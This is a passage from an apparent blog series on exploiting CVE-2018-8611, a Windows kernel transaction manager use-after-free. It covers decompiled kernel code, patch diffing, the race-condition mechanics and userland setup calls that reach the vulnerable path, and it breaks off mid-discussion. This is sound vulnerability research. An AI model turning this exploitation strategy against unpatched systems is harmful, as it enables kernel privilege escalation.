negative offsets for various pointers. The first one we are interested in is v9 which depends on curr_Enlistment_list_entry. curr_Enlistment_list_entry = pResMgr_->EnlistmentHead.Flink; while ( curr_Enlistment_list_entry != EnlistmentHead_addr ) { v9 = &curr_Enlistment_list_entry[-9].Blink; EnlistmentHead is a member of the _KRESOURCEMANAGER type which is a _LIST_ENTRY. The Flink and Blink members of this _LIST_ENTRY point to another _LIST_ENTRY which is part of the _KENLISTMENT type that we guess because of the name EnlistmentHead. We confirmed this guess by using the !pool command on one of the list entry pointers to make sure that the address lives inside of a _KENLISTMENT structure in the non-paged pool. The method we use to search for all the types containing ENLIST is the WinDbg dt command with wildcards: 1: kd> dt nt!_KRESOURCEMANAGER nt!_KRESOURCEMANAGER +0x000 NotificationAvailable : _KEVENT +0x018 cookie : Uint4B +0x01c State : _KRESOURCEMANAGER_STATE +0x020 Flags : Uint4B +0x028 Mutex : _KMUTANT +0x060 NamespaceLink : _KTMOBJECT_NAMESPACE_LINK +0x088 RmId : _GUID +0x098 NotificationQueue : _KQUEUE +0x0d8 NotificationMutex : _KMUTANT +0x110 EnlistmentHead : _LIST_ENTRY +0x120 EnlistmentCount : Uint4B +0x128 NotificationRoutine : Ptr64 long +0x130 Key : Ptr64 Void +0x138 ProtocolListHead : _LIST_ENTRY +0x148 PendingPropReqListHead : _LIST_ENTRY +0x158 CRMListEntry : _LIST_ENTRY +0x168 Tm : Ptr64 _KTM +0x170 Description : _UNICODE_STRING +0x180 Enlistments : _KTMOBJECT_NAMESPACE +0x228 CompletionBinding : _KRESOURCEMANAGER_COMPLETION_BINDING 1: kd> dt nt!*ENLIST* ntkrnlmp!_KENLISTMENT_STATE ntkrnlmp!_KENLISTMENT ntkrnlmp!_KENLISTMENT_HISTORY Another important thing, which is relatively common with linked lists, is that Flink and Blink don’t point to the base of the _KENLISTMENT as the excerpt below shows it is one of NextSameTx or NextSameRm. We don’t yet know which it is, but let us examine the types and offsets to find out: 1: kd> dt nt!_KENLISTMENT +0x000 cookie : Uint4B +0x008 NamespaceLink : _KTMOBJECT_NAMESPACE_LINK +0x030 EnlistmentId : _GUID +0x040 Mutex : _KMUTANT +0x078 NextSameTx : _LIST_ENTRY +0x088 NextSameRm : _LIST_ENTRY +0x098 ResourceManager : Ptr64 _KRESOURCEMANAGER +0x0a0 Transaction : Ptr64 _KTRANSACTION +0x0a8 State : _KENLISTMENT_STATE +0x0ac Flags : Uint4B +0x0b0 NotificationMask : Uint4B +0x0b8 Key : Ptr64 Void +0x0c0 KeyRefCount : Uint4B +0x0c8 RecoveryInformation : Ptr64 Void +0x0d0 RecoveryInformationLength : Uint4B +0x0d8 DynamicNameInformation : Ptr64 Void +0x0e0 DynamicNameInformationLength : Uint4B +0x0e8 FinalNotification : Ptr64 _KTMNOTIFICATION_PACKET +0x0f0 SupSubEnlistment : Ptr64 _KENLISTMENT +0x0f8 SupSubEnlHandle : Ptr64 Void +0x100 SubordinateTxHandle : Ptr64 Void +0x108 CrmEnlistmentEnId : _GUID +0x118 CrmEnlistmentTmId : _GUID +0x128 CrmEnlistmentRmId : _GUID +0x138 NextHistory : Uint4B +0x13c History : [20] _KENLISTMENT_HISTORY We know curr_Enlistment_list_entry points to an offset of either 0x78 or 0x88 inside _KENLISTMENT. We then look at the assembly of the v9 assignment to determine the relative offset from 0x78 or 0x88 inside _KENLISTMENT. PAGE:0000000140321A76 ; 36: v9 = &curr_Enlistment_list_entry[-9].Blink; // 2 PAGE:0000000140321A76 PAGE:0000000140321A76 loc_140321A76: ; CODE XREF: TmRecoverResourceManager+8F↑j PAGE:0000000140321A76 lea rsi, [rdi-88h] Then we immediately deduce that curr_Enlistment_list_entry actually points to 0x88 offset since when we substract 0x88, v9 then points to the beginning of the _KENLISTMENT entry. So we define v9 as a _KENLISTMENT* and curr_Enlistment_list_entry as a shifted pointer inside _KENLISTMENT: _KENLISTMENT_NextSameRm_ptr curr_Enlistment_NextSameRm_ptr. We add typedef _LIST_ENTRY *__shifted(_KENLISTMENT,0x88) _KENLISTMENT_NextSameRm_ptr; into the "Local Type" window. The above declaration means that _KENLISTMENT_NextSameRm_ptr is a pointer to _LIST_ENTRY and if we decrement it by 0x88 bytes, we will end up at the beginning of _KENLISTMENT. We are able to confirm the accuracy of the shifted pointer as we went from this hardly-readable code: if ( Tm && Tm->State == 3 ) { EnlistmentHead_ptr = &pResMgr_->EnlistmentHead; curr_Enlistment_list_entry = pResMgr_->EnlistmentHead.Flink; while ( curr_Enlistment_list_entry != EnlistmentHead_ptr ) { [a1] v9 = &curr_Enlistment_list_entry[-9].Blink; curr_Enlistment_list_entry = curr_Enlistment_list_entry->Flink; [a2] if ( !(*(v9 + 0xAC) & 4) ) { [a3] KeWaitForSingleObject((v9 + 64), Executive, 0, 0, 0i64); [a4] *(v9 + 172) |= 0x80u; [a5] KeReleaseMutex((v9 + 64), 0); } } to the improved code representation: if ( Tm && Tm->State == 3 ) { EnlistmentHead_addr = &pResMgr_->EnlistmentHead; curr_Enlistment_NextSameRm_ptr = pResMgr_->EnlistmentHead.Flink; while ( curr_Enlistment_NextSameRm_ptr != EnlistmentHead_addr ) { [a1] curr_Enlistment = ADJ(curr_Enlistment_NextSameRm_ptr); curr_Enlistment_NextSameRm_ptr = ADJ(curr_Enlistment_NextSameRm_ptr)->NextSameRm.Flink; [a2] if ( !(curr_Enlistment->Flags & 4) ) { [a3] KeWaitForSingleObject(&curr_Enlistment->Mutex, Executive, 0, 0, 0i64); [a4] curr_Enlistment->Flags |= 0x80u; [a5] KeReleaseMutex(&curr_Enlistment->Mutex, 0); } } There is a similar assignment to get v6 so we again define it as a _KENLISTMENT_NextSameRm_ptr and rename it to curr_Enlistment_NextSameRm_ptr_. We went from this hardly-readable code: [b1] v6 = EnlistmentHead_addr->Flink; v7 = v19; [b2] while ( v6 != EnlistmentHead_addr ) { [b3] if ( BYTE4(v6[2].Flink) & 4 ) { [b4] v6 = v6->Flink; } else { [b5] ObfReferenceObject(&v6[-9].Blink); [b6] KeWaitForSingleObject(&v6[-5].Blink, Executive, 0, 0, 0i64); v10 = 0; [b7] if ( (HIDWORD(v6[2].Flink) & 0x80u) != 0 ) { [b8] v11 = HIDWORD(v6[2].Flink) & 1; [b9] if ( v11 && ((v12 = v6[1].Blink[12].Flink, v12 == 3) || v12 == 4) ) { v10 = 1; v7 = 2048; } [b10] else if ( !v11 && LODWORD(v6[1].Blink[12].Flink) == 5 || (v13 = v6[1].Blink[12].Flink, v13 == 4) || v13 == 3 ) { v10 = 1; v7 = 256; to the improved code representation: [b1] curr_Enlistment_NextSameRm_ptr_ = EnlistmentHead_addr->Flink; v7 = v19; [b2] while ( curr_Enlistment_NextSameRm_ptr_ != EnlistmentHead_addr ) { [b3] if ( ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 4 ) { [b4] curr_Enlistment_NextSameRm_ptr_ = ADJ(curr_Enlistment_NextSameRm_ptr_)->NextSameRm.Flink; } else { [b5] ObfReferenceObject(ADJ(curr_Enlistment_NextSameRm_ptr_)); [b6] KeWaitForSingleObject(&ADJ(curr_Enlistment_NextSameRm_ptr_)->Mutex, Executive, 0, 0, 0i64); v10 = 0; [b7] if ( (ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 0x80u) != 0 ) { [b8] v11 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 1; [b9] if ( v11 && ((v12 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State, v12 == 3) || v12 == 4) ) { v10 = 1; v7 = 2048; } [b10] else if ( !v11 && ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State == 5 || (v13 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State, v13 == 4) || v13 == 3 ) { v10 = 1; v7 = 256; For those unfamiliar with the use of shifted pointers, note that the ADJ() wrapper around the variables in the excerpt above are added by the Hex-Rays decompiler to indicate that the variable being accessed is based on a shifted pointer. Resulting Hex-Rays output Below is the previously shown Hex-Rays output cleaned up using the shifted pointer approach: _KENLISTMENT_NextSameRm_ptr curr_Enlistment_NextSameRm_ptr; // rdi _KENLISTMENT_NextSameRm_ptr curr_Enlistment_NextSameRm_ptr_; // rdi _KENLISTMENT *curr_Enlistment; // rsi ... if ( Tm && Tm->State == 3 ) { EnlistmentHead_addr = &pResMgr_->EnlistmentHead; curr_Enlistment_NextSameRm_ptr = pResMgr_->EnlistmentHead.Flink;// 1 while ( curr_Enlistment_NextSameRm_ptr != EnlistmentHead_addr ) { [a1] curr_Enlistment = ADJ(curr_Enlistment_NextSameRm_ptr);// 2 curr_Enlistment_NextSameRm_ptr = ADJ(curr_Enlistment_NextSameRm_ptr)->NextSameRm.Flink; [a2] if ( !(curr_Enlistment->Flags & 4) ) { [a3] KeWaitForSingleObject(&curr_Enlistment->Mutex, Executive, 0, 0, 0i64); [a4] curr_Enlistment->Flags |= 0x80u; [a5] KeReleaseMutex(&curr_Enlistment->Mutex, 0); } } [b1] curr_Enlistment_NextSameRm_ptr_ = EnlistmentHead_addr->Flink;// 3 v7 = v19; [b2] while ( curr_Enlistment_NextSameRm_ptr_ != EnlistmentHead_addr ) { [b3] if ( ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 4 ) { [b4] curr_Enlistment_NextSameRm_ptr_ = ADJ(curr_Enlistment_NextSameRm_ptr_)->NextSameRm.Flink; } else { [b5] ObfReferenceObject(ADJ(curr_Enlistment_NextSameRm_ptr_)); [b6] KeWaitForSingleObject(&ADJ(curr_Enlistment_NextSameRm_ptr_)->Mutex, Executive, 0, 0, 0i64); v10 = 0; [b7] if ( (ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 0x80u) != 0 ) { [b8] v11 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 1; [b9] if ( v11 && ((v12 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State, v12 == 3) || v12 == 4) ) { v10 = 1; v7 = 2048; } [b10] else if ( !v11 && ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State == 5 || (v13 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State, v13 == 4) || v13 == 3 ) { v10 = 1; [b11] v7 = 256; } ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags &= 0xFFFFFF7F; } Hopefully the above shows that pursuing such fixups is worthwhile, and will make reversing a much more enjoyable and speedy experience. Patch analysis Once we have a nicely cleaned up IDB and understand what all the structures and states being analyzed actually are, we take a look at the vulnerability Microsoft fixed. Vulnerable code The vulnerable code in TmRecoverResourceManager() is as follows: pEnlistment_shifted = EnlistmentHead_addr->Flink; while ( pEnlistment_shifted != EnlistmentHead_addr ) { if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) { pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; } else { ObfReferenceObject(ADJ(pEnlistment_shifted)); KeWaitForSingleObject(&ADJ(pEnlistment_shifted)->Mutex, Executive, 0, 0, 0i64); [...] if ( (ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_IS_NOTIFIABLE) != 0 ) { if ([...]) { [v1] bSendNotification = 1; } ADJ(pEnlistment_shifted)->Flags &= ~KENLISTMENT_IS_NOTIFIABLE; } [...] KeReleaseMutex(&ADJ(pEnlistment_shifted)->Mutex, 0); [v2] if ( bSendNotification ) { KeReleaseMutex(&pResMgr->Mutex, 0); ret = TmpSetNotificationResourceManager( pResMgr, ADJ(pEnlistment_shifted), 0i64, NotificationMask, 0x20u, // sizeof(TRANSACTION_NOTIFICATION_RECOVERY_ARGUMENT) &notification_recovery_arg_struct); [v3] if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) bEnlistmentIsFinalized = 1; [v4] ObfDereferenceObject(ADJ(pEnlistment_shifted)); [v5] KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64); if ( pResMgr->State != KResourceManagerOnline ) goto b_release_mutex; } [...] [v6] if ( bEnlistmentIsFinalized ) { pEnlistment_shifted = EnlistmentHead_addr->Flink; bEnlistmentIsFinalized = 0; } else { [v7] pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; } } } Let’s analyze the unpatched code. If the lines marked [v1] and [v2] are executed, bSendNotification is set to 0x1 then TmpSetNotificationResourceManager() is called, which queues a notification related to the current enlistment being parsed. In order to send this notification, the _KRESOURCEMANAGER structure, pointed to by pResMgr, has its mutex unlocked. This means other code in a separate thread can execute code that requires the lock. After a notification is queued by calling TmpSetNotificationResourceManager(), a test is done at the line marked [v3], which tests if the enlistment currently being parsed has been finalized or not, as indicated by a KENLISTMENT_FINALIZED flag. An enlistment being finalized means that the work is done and it is ready to be freed. This means that the subsequent ObjDereferenceObject() call marked [v4] could free the enlistment, and as such the code sets the bIsEnlistmentFinalized flag to indicate to itself that the pEnlistment pointer shouldn’t be touched again. At [v5] the pResMgr‘s mutex is locked again, and the loop tries to move on to parsing and potentially notifying the next enlistment in the linked list. It decides where to fetch this new enlistment based on the previously set bIsEnlistmentFinalized flag being set or not, as indicated by [v6]. If the flag is set, the pointer is fetched from the head of the linked list maintained in the _KRESOURCEMANAGER structure. Otherwise the enlistment that just had a notification queued will be used to find the next link, indicated by [v7]. At a high level, the following diagram shows the structures being parsed by this code, and approximately what happens if a finalized enlistment is encountered. The diagram will be revisited in more detail later. In contrast to what the diagram above shows, when the code in the loop detects a finalized enlistment and restarts from EnlistmentHead, the list head most likely points back to some _KENLISTMENT that was already parsed (like the entry pointed to by 1 in the diagram above). In this scenario the _KENLISTMENT being reparsed has been marked as non-notifiable, and so a new notification will not be placed into the queue. Additionally, any other enlistments that may have been finalized and since removed from the linked list may not be reparsed. Since this is hard to illustrate, we simplify the diagram to show step 2 having EnlistmentHead referencing the next notifiable _KENLISTMENT that has yet to be parsed. Patched code The following is the patched version of the same code: pEnlistment_shifted = EnlistmentHead_addr->Flink; while ( pEnlistment_shifted != EnlistmentHead_addr ) { if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) { pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; } else { ObfReferenceObject(ADJ(pEnlistment_shifted)); KeWaitForSingleObject(&ADJ(pEnlistment_shifted)->Mutex, Executive, 0, 0, 0i64); bSendNotification = 0; if ( (ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_IS_NOTIFIABLE) != 0 ) { if ([...]) { [p1] bSendNotification = 1; } [...] ADJ(pEnlistment_shifted)->Flags &= ~KENLISTMENT_IS_NOTIFIABLE; } [...] KeReleaseMutex(&ADJ(pEnlistment_shifted)->Mutex, 0); [p2] if ( bSendNotification ) { KeReleaseMutex(&pResMgr->Mutex, 0); ret = TmpSetNotificationResourceManager( pResMgr, ADJ(pEnlistment_shifted), 0i64, notification_timeout, 0x20u, &cur_enlistment_guid); ObfDereferenceObject(ADJ(pEnlistment_shifted)); KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64); if ( pResMgr->State != KResourceManagerOnline ) goto b_release_mutex; Tm_ = pResMgr->Tm; [p8] if ( !Tm_ || Tm_->State != KKtmOnline ) { ret = STATUS_TRANSACTIONMANAGER_NOT_ONLINE; goto b_release_mutex; } [p6] pEnlistment_shifted = EnlistmentHead_addr->Flink; } else { ObfDereferenceObject(ADJ(pEnlistment_shifted)); pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; } } } In the patched version of the function above, we see that between the locations marked [p1] and [p6] a check for KENLISTMENT_FINALIZED no longer occurs at all. Instead, we see that any time [p1] and [p2] are executed and a notification is queued, the code just assumes that the enlistment was potentially finalized, and always fetches the next _KENLISTMENT from the head of the linked list maintained in the _KRESOURCEMANAGER structures instead. There is also a new check added at line marked [p8] to see if the transaction manager has gone offline, in which case the loop is exited. This ended up not being useful for exploiting this vulnerability, but as we will explore in part 5 of this blog series, it can actually be used to safely detect if a system is vulnerable or not. So what does the patch tell us about the vulnerability? We infer that there must be a race condition between the time the KENLISTMENT_FINALIZED flag is checked and the time the _KENLISTMENT pointer is actually used. This in turn implicates that likely the memory that the _KENLISTMENT pointer points to can be freed and potentially replaced, meaning we’re looking at a use-after-free that is triggered by winning the race. This idea is elaborated a bit further with added comments in the vulnerable code: if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) { bEnlistmentIsFinalized = 1; } // START: Race starts here, if bEnlistmentIsFinalized was not set ObfDereferenceObject(ADJ(pEnlistment_shifted)); KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64); if ( pResMgr->State != KResourceManagerOnline ) goto b_release_mutex; } //... // END: If at any time, after START, another thread finalized and // closed pEnlistment_shifted, it might now be freed, but // `bEnlistmentIsFinalized` is not set, so the code doesn't know. if ( bEnlistmentIsFinalized ) { pEnlistment_shifted = EnlistmentHead_addr->Flink; bEnlistmentIsFinalized = 0; } else { // ADJ(pEnlistment_shifed)->NextSameRm.Flink could reference freed // memory pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; } Now, from our initial analysis, we assume the vulnerability is a race condition, that leads to use after free, and that the type of structure we’ll be abusing is a _KENLISTMENT. This in turn tells us few things we need to figure out next to further validate our understanding and move towards actually triggering the vulnerability: How and when is the KENLISTMENT_FINALIZED flag set? Is this flag being set predicated on pResMgr->Mutex being unlocked? Does ObjDereferenceObject() actually free the _KENLISTMENT? Congestioning the mutex? One interesting thing to note, now that we understand the vulnerability a bit more, is this quote from the Kaspersky writeup: One of created threads calls NtQueryInformationResourceManager in a loop, while second thread tries to execute NtRecoverResourceManager once. If you reverse NtQueryInformationResourceManager you will see that one of the things it does is lock a _KRESOURCEMANAGER mutex. If we relook at the code where ObjDereferenceObject() is called in TmRecoverResourceManager() at [v4], it is immediately followed by an attempt to lock the _KRESOURCEMANAGER mutex at [v5]. This gives us a hint for the future that this location could potentially give us a way in which to force the race window open and give us time to free the enlistment. It also gives us a good candidate location for manually patching code in WinDbg in order to leave the race window opened to test the bug, which we’ll go into using more detail later. When analyzing these types of bugs it is good to always consider these possibilities as you go. A simplified excerpt from NtQueryInformationResourceManager() is below, which shows what is done while this mutex is locked: KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64); if ( ResourceManagerInformationLength >= 0x18 ) { DescriptionLength = pResMgr->Description.Length; *&ResourceManagerInformation->DescriptionLength = DescriptionLength; AdjustedDescriptionLength = pResMgr->Description.Length + 0x14; if ( AdjustedDescriptionLength = AdjustedDescriptionLength ) { copyLength = pResMgr->Description.Length; } else { rcval = STATUS_BUFFER_OVERFLOW; copyLength = ResourceManagerInformationLength - 0x14; } memmove(&ResourceManagerInformation->Description, pResMgr->Description.Buffer, copyLength); } else { rcval = STATUS_BUFFER_TOO_SMALL; } KeReleaseMutex(&pResMgr->Mutex, 0); So we see that by repeatedly calling the code above, there is some amount of code we can execute that will prevent TmRecoverResourceManager() from relocking the mutex, which gives some time to further win the race. Initial strategy for exploitation With our new understanding of the vulnerability, and what the patch does, our theory for how to exploit this vulnerability is the following: We must free that exact enlistment after TmRecoverResourceManager() checks to see if the enlistment is finalized, but before it is able to lock the _KRESOURCEMANAGER mutex. This free will be done by the ObjDereferenceObject() call in TmRecoverResourceManager() or in some other yet unidentified code while TmRecoverResourceManager() is waiting to lock the resource manager mutex. Prior to returning from locking the mutex, the freed memory should be replaced by some other attacker-controlled memory At that point, the NextSameRm.Flink value is controlled by us and we can make the kernel point to an arbitrary memory location. Now let’s compare a normal scenario with a race condition scenario. This diagram is the same as before, and shows how the logic is meant to be working in a normal scenario: The following diagram shows how by winning a race condition, an invalid _KENLISTMENT will be referenced: A small final side note about the patch: we originally thought the check in the patched code for seeing if the transaction manager is offline might indicate the best way to finalize an enlistment to trigger the bug. This was not a good approach in the end and appears to just be an additional fix Microsoft added in the process of fixing CVE-2018-8611. Reaching the vulnerable code Transaction state prerequisites As detailed before, if we look at the cross references to the vulnerable TmRecoverResourceManager() it becomes clear we can just call the NtRecoverResourceManager() syscall from userland, which matches what Kaspersky said. Now we have a few things to do: We want to know how to ensure the transaction and enlistment states meet the requirements to hit the vulnerable code. We want to start with code that lets us correctly recover, without even trying to win the race. This lets us know what recovering a resource manager looks like. We want to figure out how to finalize an enlistment. To deal with the first thing, we look at a piece of code that was ommitted earlier from the patch analysis. The following check in TmRecoverResourceManager() determines if bSendNotification gets set, which lets us send a notification and hit the buggy code path: bSendNotification = 0; if ( (ADJ(pEnlistment)->Flags & KENLISTMENT_IS_NOTIFIABLE) != 0 ) { bEnlistmentSuperior = ADJ(pEnlistment)->Flags & KENLISTMENT_SUPERIOR; if ( bEnlistmentSuperior && ((state = ADJ(pEnlistment)->Transaction->State, state == KTransactionPrepared) || state == KTransactionInDoubt) ) { bSendNotification = 1; NotificationMask = TRANSACTION_NOTIFY_RECOVER_QUERY; } else if ( !bEnlistmentSuperior && ADJ(pEnlistment)->Transaction->State == KTransactionCommitted || (state = ADJ(pEnlistment)->Transaction->State, state == KTransactionInDoubt) || state == KTransactionPrepared ) { bSendNotification = 1; NotificationMask = TRANSACTION_NOTIFY_RECOVER; } ADJ(pEnlistment)->Flags &= ~KENLISTMENT_IS_NOTIFIABLE; } There are two ways to set bSendNotification: One is when the enlistment is superior and the transaction is in the KTransactionInDoubt or KTransactionPrepared state The other is when the enlistment is not superior and the transaction is in the KTransactionCommitted, KTransactionInDoubt, or KTransactionPrepared state Trial and error showed us that using superior enlistments here would not work, as it requires the transaction manager and resource manager to be non-volatile. As we noted in part 1 of our series, due to the number of enlistments we’ll be using and the potential number of attempts before winning the race, we need to use volatile managers that do not keep a log. Furthermore, due to the apparent restriction of having only one superior enlistment at a time, superior enlistments can’t be used to spray lots of candidate _KENLISTMENT for triggering the vulnerability. This means we need to figure out how to ensure that the non-superior enlistments being parsed by the TmRecoverResourceManager() loop at the time of triggering the vulnerability are associated with a transaction in one of the three aforementioned states. We initially thought about ignoring KTransactionInDoubt and focusing on the KTransactionCommitted and KTransactionPrepared states as it appeared to us that transactions being in an InDoubt state could be harder to deal with. Transitioning state During our testing and debugging, we concluded that when a KTM client says that it wants to commit to some transaction, it calls CommitTransaction(), which will block until the transaction is actually completed and committed, or some other event occurs (like the transaction is rolled back). While the client is blocked, the transaction can transition through a number of states that are all indicative of some amount of progress of the constituent enlistments involved in completing the transaction. These states are tracked by the _KTRANSACTION_STATE enum: //0x4 bytes (sizeof) enum _KTRANSACTION_STATE { KTransactionUninitialized = 0, KTransactionActive = 1, KTransactionPreparing = 2, KTransactionPrepared = 3, KTransactionInDoubt = 4, KTransactionCommitted = 5, KTransactionAborted = 6, KTransactionDelegated = 7, KTransactionPrePreparing = 8, KTransactionForgotten = 9, KTransactionRecovering = 10, KTransactionPrePrepared = 11 }; The most interesting states from our perspective are the transaction and enlistment states that lead to an enlistment being notified of a recovery, which in turn eventually leads us to the vulnerability we will be looking at. It may not be obvious which of these states match these requirements. From above, we are interested to know when a transaction enters the KTransactionCommitted or KTransactionPrepared state. The only way to really tell when these state transitions occur is by reversing. Fortunately it is fairly easy to find related functions as they are well named and have the the Tm prefix or Tmp prefix we mentioned earlier. After a bit of reversing we ran into a fairly frequently called function called TmpProcessNotificationResponse(), which operates on a set of arrays passed in as arguments: __int64 TmpProcessNotificationResponse(_KENLISTMENT *pEnlistment, PLARGE_INTEGER VirtualClock, unsigned int ArrayCount, _KENLISTMENT_STATE *EnlistmentStatesArray, _KENLISTMENT_STATE *NewEnlistmentStateArray, _KTRANSACTION_STATE *TransactionStatesArray, unsigned int (**pCommitCallback)(struct _KTRANSACTION *, _QWORD), unsigned int *ShouldFinalizeFlag) { [...] pTransaction = pEnlistment->Transaction; [...] pEnlistment->State = NewEnlistmentStateArray[i]; if ( ShouldFinalizeFlag[i] == 1 || ShouldFinalizeFlag[i] == 2 && !(pEnlistment->NotificationMask & TRANSACTION_NOTIFY_COMMIT) )// optionally finalize { TmpFinalizeEnlistment(pEnlistment); } KeReleaseMutex(&pEnlistment->Mutex, 0); bHaveEnlistmentMutex = 0; if ( pCommitCallback[i] ) { if ( pTransaction->PendingResponses-- == 1 ) rcval = pCommitCallback[i](pTransaction, 0i64); } } } [...] } The interesting thing about this function is that it is responsible for setting various transaction states, as well as enlistment states. By looking at all of the callers, we slowly worked out which function sets which state: Taking one of the xrefs shown above, we see how TmPrepareComplete() calls TmpProcessNotificationResponse(): __int64 __fastcall TmPrepareComplete(_KENLISTMENT *pEnlistment, LARGE_INTEGER *VirtualClock) { _KENLISTMENT_STATE NewEnlistmentStateArray[1]; // [rsp+40h] [rbp-18h] _KENLISTMENT_STATE EnlistmentStatesArray[1]; // [rsp+44h] [rbp-14h] unsigned int (__fastcall *pCommitCallback[1])(struct _KTRANSACTION *, _QWORD); // [rsp+48h] [rbp-10h] unsigned int ShouldFinalizeFlag[1]; // [rsp+70h] [rbp+18h] _KTRANSACTION_STATE TransactionStatesArray[1]; // [rsp+78h] [rbp+20h] ShouldFinalizeFlag[0] = 0; pCommitCallback[0] = TmpTxActionDoPrepareComplete; EnlistmentStatesArray[0] = KEnlistmentPreparing; NewEnlistmentStateArray[0] = KEnlistmentPrepared; TransactionStatesArray[0] = KTransactionPreparing; return TmpProcessNotificationResponse( pEnlistment, VirtualClock, 1u, EnlistmentStatesArray, NewEnlistmentStateArray, TransactionStatesArray, pCommitCallback, ShouldFinalizeFlag); } Calling PrepareComplete() from userland will indeed end up calling NtPrepareComplete() which will call TmPrepareComplete(). We now know that calling PrepareComplete() from userland will set this _KENLISTMENT into a new state of KEnlistmentPrepared. If, in addition to modifying this enlistment parameter’s state, all of the enlistments associated with the same transaction are synchronized on the same new state, then the TmpTxActionDoPrepareComplete() function will end up being called, which will set the transaction to a new state. This transaction change is shown in the excerpt below: __int64 __fastcall TmpTxActionDoPrepareComplete(_KTRANSACTION *pTransaction) { LARGE_INTEGER *v1; // rdx struct _LIST_ENTRY *EnlistmentHead; // rcx int logerror; // eax MAPDST _KENLISTMENT *pSuperiorEnlistment; // rcx __int64 result; // rax if ( !pTransaction->SuperiorEnlistment || pTransaction->Flags & KTransactionPreparing ) { pTransaction->State = KTransactionPrepared; result = TmpTxActionDoCommit(pTransaction, v1); } So in this way we know that we must work out all the prerequisite state transitions prior to KTransactionPrepared to allow us to eventually call PrepareComplete(). When our transaction enters the KTransactionPrepared state, we will be able to trigger the code we want to reach in the vulnerable function. Enlistment state prerequisites Similar to the above, _KENLISTMENT structures also have a set of states, and in order for a transaction to transition to a new state, all of the associated enlistments must be in the matching state. So if a transaction should transition to a KTransactionPrepared state as in the example above, it is necessary that all _KENLISTMENT structures are already in the KEnlistmentPrepared state. The full list of _KENLISTMENT_STATE states is below: enum _KENLISTMENT_STATE { KEnlistmentUninitialized = 0, KEnlistmentActive = 256, KEnlistmentPreparing = 257, KEnlistmentPrepared = 258, KEnlistmentInDoubt = 259, KEnlistmentCommitted = 260, KEnlistmentCommittedNotify = 261, KEnlistmentCommitRequested = 262, KEnlistmentAborted = 263, KEnlistmentDelegated = 264, KEnlistmentDelegatedDisconnected = 265, KEnlistmentPrePreparing = 266, KEnlistmentForgotten = 267, KEnlistmentRecovering = 268, KEnlistmentAborting = 269, KEnlistmentReadOnly = 270, KEnlistmentOutcomeUnavailable = 271, KEnlistmentOffline = 272, KEnlistmentPrePrepared = 273, KEnlistmentInitialized = 274 }; Similar to what was noted before, this just means we need to find the prerequisite functions to set enlistments into a specific state. If we look back at our earlier example for TmPrepareComplete(), we see that it will transition the _KENLISTMENTS states from KEnlistmentPreparing to KEnlistmentPrepared: EnlistmentStatesArray[0] = KEnlistmentPreparing; NewEnlistmentStateArray[0] = KEnlistmentPrepared; Preparing for a recovery Given what we have covered so far, what do we need to do to get a transaction into the necessary state? The following code shows how we do this: hTx1 = CreateTransaction(NULL); hEn1 = CreateEnlistment(hRM, hTx1, 0x39ffff0f, 0); hEn2 = CreateEnlistment(hRM, hTx1, 0x39ffff0f, 0); CommitTransactionAsync(hTx1); PrePrepareComplete(hEn1); PrePrepareComplete(hEn2); PrepareComplete(hEn1); PrepareComplete(hEn2); After executing the above, our transaction is in the KTransactionPrepared state. The next step would be calling CommitComplete() to commit the enlistments, which would transition it into the KTransactionCommitted state. However, we want them to be in the non-committed state to allow the recovery. Note that the above could simply be done with a single enlistment, however since exploitation involves many enlistments and those enlistments all need to be in the same state to transition the transaction, it is better to more closely simulate the exploitable circumstances. One thing we noticed during our research is that for a recovery to occur, a single transaction in the KTransactionPrepared was not enough, so we effectively used two transactions: one transaction in the KTransactionCommitted state, with the transaction having a single enlistment another transaction in the KTransactionPrepared state, with the transaction having lots of enlistments Building our race transaction Now that we know how to transition between enlistment and transaction states, and get notifications about what state things are in (from part 1), we recover the resource manager so that TmRecoverResourceManager() parses the multiple enlistments part of our second transaction. The following shows a very simplified view of what this might look like: // recovery thread void recover(void) { //... // Creating TM and RM hTM = xCreateVolatileTransactionManager(); hRM = xCreateVolatileResourceManager(hTM, NULL, pResManName); RecoverResourceManager(hRM); // have some completed transaction that allows us to actually recover hTx1 = setup_commit_completed_transaction(hRM); // set up a bunch of prepared enlistments that we will finalize in racer // thread uaf_tx_list = single_tx_uaf_enlistments(hRM, hTM, MAX_TX_ENLISTMENT_COUNT); // Call the buggy recovery code RecoverResourceManager(hRM); //... } In the future when we talk about the thread that is calling TmRecoverResourceManager(), we will call it the "recovery thread". By reading notifications as detailed in part 1 while the recovery is running, we confirm that we hit the vulnerable code and see that we are receiving associated notifications for each of the enlistments as they are parsed by the loop. This means we finally reach the vulnerable code. Triggering the vulnerability with an assisted race condition Forcing the race window open When exploiting race condition bugs a common early approach is to artificially open the race window to guarantee a win. This helps better understand the environment in which we are operating and also ensures that our exploit 